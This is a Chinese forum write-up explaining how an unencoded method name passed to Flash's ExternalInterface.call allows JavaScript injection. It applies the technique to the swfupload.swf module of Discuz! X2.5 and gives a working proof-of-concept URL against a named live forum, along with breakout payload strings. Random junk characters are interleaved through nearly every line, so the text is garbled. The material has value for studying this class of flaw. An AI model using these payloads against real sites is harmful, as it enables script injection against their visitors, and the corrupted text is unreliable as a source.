上回我们说% F% t5 B& a. ^' _8 C6 k# I
: f5 z ^, H7 c* t" c0 C
flash.external.ExternalInterface.call($methodName, $parameter)
5 g N- \& V" T! l" h3 t7 h: n在浏览器中执行的是2 @0 n, y& D( ?! h# \5 @1 w! _
& f+ P! T& L6 N# ?7 D) W- r
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
& b Z' I' w( t- ^0 ] q对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如8 I4 B6 b! a# w* q7 d/ L& ?
t! \& |$ U( g- C, Xflash.external.ExternalInterface.call("object."+$methodName, $parameter)
1 N' T$ e/ Q+ ^3 `2 v' {$methodName = a())}catch(e){alert(/xss/)}//
; p1 D8 B- p' I* M( m结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。2 r1 y+ M& s& h8 _- l
# K' {; C+ E4 o0 x, v, ktry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }& h4 Z! C0 v* L9 E! C1 Y
' P2 y6 f& E) T' J: B这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
2 S2 Z" Q S% _" d; B# Z: t$ C3 Z杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。8 u6 M6 O9 u0 Q% g
# ^9 q" }) ^2 c7 K S0 q
& v6 }2 A3 z, s7 { u( y! a4 b" U# v6 n* P3 @0 [& w! M
漏洞文件:upload\static\image\common\swfupload.swf1 K! H$ U' J! z! A0 Q! A
! u4 p4 S0 j( ~3 y+ _8 J1 v7 w( t: t
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf8 t3 G/ k* z* c/ e" B
! x9 P9 V0 Q! @# C1 {' o+ ~+ H
7 z( v* `" P) Y1 {3 w) I$ s
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
3 b/ Y' S: a% @3 j; H# Y8 Q& ^ U0 U6 P
$ g& g8 G9 t( J0 \2 I J |